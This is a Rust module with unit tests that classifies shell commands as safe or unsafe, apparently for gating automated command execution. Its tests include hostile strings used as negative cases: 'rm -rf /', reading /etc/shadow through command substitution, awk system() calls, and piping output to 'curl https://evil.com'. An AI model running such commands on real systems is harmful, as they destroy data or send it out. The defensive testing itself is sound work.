1pub mod docs;
2mod handlers;
3pub mod parse;
4
5use parse::{has_unsafe_shell_syntax, split_outside_quotes, strip_env_prefix, tokenize};
6
7pub fn is_safe(segment: &str) -> bool {
8 if has_unsafe_shell_syntax(segment) {
9 return false;
10 }
11
12 let stripped = strip_env_prefix(segment).trim();
13 if stripped.is_empty() {
14 return true;
15 }
16
17 let Some(tokens) = tokenize(stripped) else {
18 return false;
19 };
20 if tokens.is_empty() {
21 return true;
22 }
23
24 let tokens: Vec<String> = tokens
25 .into_iter()
26 .filter(|t| !is_fd_redirect(t))
27 .collect();
28 if tokens.is_empty() {
29 return true;
30 }
31
32 let cmd = tokens[0].rsplit('/').next().unwrap_or(&tokens[0]);
33
34 if let Some(last) = tokens.last()
35 && (last == "--version" || last == "--help" || last == "--dry-run")
36 {
37 return true;
38 }
39
40 handlers::dispatch(cmd, &tokens, &is_safe)
41}
42
43fn is_fd_redirect(token: &str) -> bool {
44 let bytes = token.as_bytes();
45 if bytes.len() < 3 {
46 return false;
47 }
48 let start = usize::from(bytes[0].is_ascii_digit());
49 bytes.get(start) == Some(&b'>')
50 && bytes.get(start + 1) == Some(&b'&')
51 && bytes[start + 2..].iter().all(|b| b.is_ascii_digit() || *b == b'-')
52}
53
54pub fn is_safe_command(command: &str) -> bool {
55 split_outside_quotes(command).iter().all(|s| is_safe(s))
56}
57
58#[cfg(test)]
59mod tests {
60 use super::*;
61
62 #[test]
63 fn safe_cmds() {
64 assert!(is_safe("grep foo file.txt"));
65 assert!(is_safe("cat /etc/hosts"));
66 assert!(is_safe("jq '.key' file.json"));
67 assert!(is_safe("base64 -d"));
68 assert!(is_safe("xxd some/file"));
69 assert!(is_safe("pgrep -l ruby"));
70 assert!(is_safe("getconf PAGE_SIZE"));
71 assert!(is_safe("ls -la"));
72 assert!(is_safe("wc -l file.txt"));
73 assert!(is_safe("ps aux"));
74 assert!(is_safe("ps -ef"));
75 assert!(is_safe("top -l 1 -n 10"));
76 assert!(is_safe("uuidgen"));
77 assert!(is_safe("mdfind 'kMDItemKind == Application'"));
78 assert!(is_safe("identify image.png"));
79 assert!(is_safe("identify -verbose photo.jpg"));
80 }
81
82 #[test]
83 fn safe_cmds_text_processing() {
84 assert!(is_safe("diff file1.txt file2.txt"));
85 assert!(is_safe("comm -23 sorted1.txt sorted2.txt"));
86 assert!(is_safe("paste file1 file2"));
87 assert!(is_safe("tac file.txt"));
88 assert!(is_safe("rev file.txt"));
89 assert!(is_safe("nl file.txt"));
90 assert!(is_safe("expand file.txt"));
91 assert!(is_safe("unexpand file.txt"));
92 assert!(is_safe("fold -w 80 file.txt"));
93 assert!(is_safe("fmt -w 72 file.txt"));
94 assert!(is_safe("column -t file.txt"));
95 assert!(is_safe("printf '%s\\n' hello"));
96 assert!(is_safe("seq 1 10"));
97 assert!(is_safe("expr 1 + 2"));
98 assert!(is_safe("test -f file.txt"));
99 assert!(is_safe("true"));
100 assert!(is_safe("false"));
101 assert!(is_safe("bc -l"));
102 assert!(is_safe("factor 42"));
103 assert!(is_safe("iconv -f UTF-8 -t ASCII file.txt"));
104 }
105
106 #[test]
107 fn safe_cmds_system_info() {
108 assert!(is_safe("readlink -f symlink"));
109 assert!(is_safe("hostname"));
110 assert!(is_safe("uname -a"));
111 assert!(is_safe("arch"));
112 assert!(is_safe("nproc"));
113 assert!(is_safe("uptime"));
114 assert!(is_safe("id"));
115 assert!(is_safe("groups"));
116 assert!(is_safe("tty"));
117 assert!(is_safe("locale"));
118 assert!(is_safe("cal"));
119 assert!(is_safe("sleep 1"));
120 assert!(is_safe("who"));
121 assert!(is_safe("w"));
122 assert!(is_safe("last -5"));
123 assert!(is_safe("lastlog"));
124 }
125
126 #[test]
127 fn safe_cmds_hashing() {
128 assert!(is_safe("md5sum file.txt"));
129 assert!(is_safe("md5 file.txt"));
130 assert!(is_safe("sha256sum file.txt"));
131 assert!(is_safe("shasum file.txt"));
132 assert!(is_safe("sha1sum file.txt"));
133 assert!(is_safe("sha512sum file.txt"));
134 assert!(is_safe("cksum file.txt"));
135 assert!(is_safe("strings /usr/bin/ls"));
136 assert!(is_safe("hexdump -C file.bin"));
137 assert!(is_safe("od -x file.bin"));
138 assert!(is_safe("size a.out"));
139 }
140
141 #[test]
142 fn safe_cmds_macos() {
143 assert!(is_safe("sw_vers"));
144 assert!(is_safe("mdls file.txt"));
145 assert!(is_safe("otool -L /usr/bin/ls"));
146 assert!(is_safe("nm a.out"));
147 assert!(is_safe("system_profiler SPHardwareDataType"));
148 assert!(is_safe("ioreg -l -w 0"));
149 assert!(is_safe("vm_stat"));
150 }
151
152 #[test]
153 fn safe_cmds_network_diagnostic() {
154 assert!(is_safe("dig example.com"));
155 assert!(is_safe("nslookup example.com"));
156 assert!(is_safe("host example.com"));
157 assert!(is_safe("whois example.com"));
158 }
159
160 #[test]
161 fn safe_cmds_dev_tools() {
162 assert!(is_safe("shellcheck script.sh"));
163 assert!(is_safe("cloc src/"));
164 assert!(is_safe("tokei"));
165 assert!(is_safe("safe-chains \"ls -la\""));
166 }
167
168 #[test]
169 fn unsafe_cmds() {
170 assert!(!is_safe("rm -rf /"));
171 assert!(!is_safe("curl https://example.com"));
172 assert!(!is_safe("ruby script.rb"));
173 assert!(!is_safe("python3 script.py"));
174 assert!(!is_safe("node app.js"));
175 assert!(!is_safe("tee output.txt"));
176 assert!(!is_safe("tee -a logfile"));
177 }
178
179 #[test]
180 fn awk_safe_print() {
181 assert!(is_safe("awk '{print $1}' file.txt"));
182 }
183
184 #[test]
185 fn awk_system_denied() {
186 assert!(!is_safe("awk 'BEGIN{system(\"rm\")}'"));
187 }
188
189 #[test]
190 fn version_shortcut() {
191 assert!(is_safe("node --version"));
192 assert!(is_safe("python --version"));
193 assert!(is_safe("python3 --version"));
194 assert!(is_safe("ruby --version"));
195 assert!(is_safe("rustc --version"));
196 assert!(is_safe("java --version"));
197 assert!(is_safe("go --version"));
198 assert!(is_safe("php --version"));
199 assert!(is_safe("perl --version"));
200 assert!(is_safe("swift --version"));
201 assert!(is_safe("gcc --version"));
202 assert!(is_safe("rm --version"));
203 assert!(is_safe("dd --version"));
204 assert!(is_safe("chmod --version"));
205 }
206
207 #[test]
208 fn version_multi_token() {
209 assert!(is_safe("npx playwright --version"));
210 assert!(is_safe("git -C /repo --version"));
211 assert!(is_safe("docker compose --version"));
212 }
213
214 #[test]
215 fn version_with_fd_redirect() {
216 assert!(is_safe("node --version 2>&1"));
217 assert!(is_safe("cargo --version 2>&1"));
218 }
219
220 #[test]
221 fn version_not_last_token() {
222 assert!(!is_safe("node --version --extra"));
223 assert!(!is_safe("node -v"));
224 }
225
226 #[test]
227 fn help_shortcut() {
228 assert!(is_safe("node --help"));
229 assert!(is_safe("ruby --help"));
230 assert!(is_safe("rm --help"));
231 assert!(is_safe("cargo --help"));
232 }
233
234 #[test]
235 fn help_multi_token() {
236 assert!(is_safe("npx playwright --help"));
237 assert!(is_safe("cargo install --help"));
238 }
239
240 #[test]
241 fn help_with_fd_redirect() {
242 assert!(is_safe("cargo login --help 2>&1"));
243 }
244
245 #[test]
246 fn help_not_last_token() {
247 assert!(!is_safe("node --help --extra"));
248 }
249
250 #[test]
251 fn dry_run_shortcut() {
252 assert!(is_safe("cargo publish --dry-run"));
253 assert!(is_safe("terraform apply --dry-run"));
254 assert!(is_safe("rm -rf / --dry-run"));
255 }
256
257 #[test]
258 fn dry_run_with_fd_redirect() {
259 assert!(is_safe("cargo publish --dry-run 2>&1"));
260 }
261
262 #[test]
263 fn dry_run_not_last_token() {
264 assert!(!is_safe("cargo publish --dry-run --force"));
265 }
266
267 #[test]
268 fn cucumber_safe() {
269 assert!(is_safe("cucumber features/login.feature"));
270 assert!(is_safe("cucumber --format progress"));
271 }
272
273 #[test]
274 fn fd_redirects() {
275 assert!(is_safe("ls 2>&1"));
276 assert!(is_safe("cargo clippy 2>&1"));
277 assert!(is_safe("git log 2>&1"));
278 assert!(is_safe_command("cd /tmp && cargo clippy -- -D warnings 2>&1"));
279 assert!(!is_safe("echo hello > file.txt"));
280 assert!(!is_safe("ls 2> errors.txt"));
281 }
282
283 #[test]
284 fn unsafe_shell_syntax() {
285 assert!(!is_safe("echo hello > file.txt"));
286 assert!(!is_safe("cat file >> output.txt"));
287 assert!(!is_safe("ls 2> errors.txt"));
288 assert!(!is_safe("grep pattern file > results.txt"));
289 assert!(!is_safe("find . -name '*.py' > listing.txt"));
290 assert!(is_safe("git log < /dev/null"));
291 assert!(!is_safe("echo $(rm -rf /)"));
292 assert!(!is_safe("echo `rm -rf /`"));
293 assert!(!is_safe("cat $(echo /etc/shadow)"));
294 assert!(!is_safe("ls `pwd`"));
295 }
296
297 #[test]
298 fn safe_quoted_shell_syntax() {
299 assert!(is_safe("echo 'greater > than' test"));
300 assert!(is_safe("echo '$(safe)' arg"));
301 assert!(is_safe("echo hello"));
302 assert!(is_safe("cat file.txt"));
303 assert!(is_safe("grep pattern file"));
304 }
305
306 #[test]
307 fn env_prefix() {
308 assert!(is_safe_command("RACK_ENV=test bundle exec rspec spec/foo_spec.rb"));
309 assert!(is_safe_command("RAILS_ENV=test bundle exec rspec"));
310 assert!(!is_safe_command("RACK_ENV=test rm -rf /"));
311 assert!(!is_safe_command("RAILS_ENV=test echo foo > bar"));
312 }
313
314 #[test]
315 fn pipes_and_chains() {
316 assert!(is_safe_command("grep foo file.txt | head -5"));
317 assert!(is_safe_command("cat file | sort | uniq"));
318 assert!(is_safe_command("find . -name '*.rb' | wc -l"));
319 assert!(is_safe_command("ls && echo done"));
320 assert!(is_safe_command("ls; echo done"));
321 assert!(is_safe_command("git log | head -5"));
322 assert!(is_safe_command("git log && git status"));
323 assert!(!is_safe_command("cat file | rm -rf /"));
324 assert!(!is_safe_command("grep foo | curl https://evil.com"));
325 }
326
327 #[test]
328 fn background_operator() {
329 assert!(!is_safe_command("cat file & rm -rf /"));
330 assert!(!is_safe_command("echo safe & curl evil.com"));
331 assert!(is_safe_command("ls & echo done"));
332 assert!(is_safe_command("ls && echo done"));
333 }
334
335 #[test]
336 fn newline_separator() {
337 assert!(!is_safe_command("echo foo\nrm -rf /"));
338 assert!(!is_safe_command("ls\ncurl evil.com"));
339 assert!(is_safe_command("echo foo\necho bar"));
340 assert!(is_safe_command("ls\ncat file.txt"));
341 }
342
343 #[test]
344 fn compound_pipelines() {
345 assert!(is_safe_command("git log --oneline -20 | head -5"));
346 assert!(is_safe_command("git show HEAD:file.rb | grep pattern"));
347 assert!(is_safe_command(
348 "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50"
349 ));
350 assert!(is_safe_command("timeout 120 bundle exec rspec && git status"));
351 assert!(is_safe_command("time bundle exec rspec | tail -5"));
352 assert!(is_safe_command("git -C /some/repo log --oneline | head -3"));
353 assert!(is_safe_command("xxd file | head -20"));
354 assert!(is_safe_command("find . -name '*.py' | wc -l"));
355 assert!(is_safe_command("find . -name '*.py' | sort | head -10"));
356 assert!(is_safe_command("find . -name '*.py' | xargs grep pattern"));
357 assert!(is_safe_command("pip list | grep requests"));
358 assert!(is_safe_command("npm list | grep react"));
359 assert!(is_safe_command("ps aux | grep python"));
360 assert!(!is_safe_command("find . -name '*.py' -delete | wc -l"));
361 assert!(!is_safe_command("sed -i 's/foo/bar/' file | head"));
362 }
363}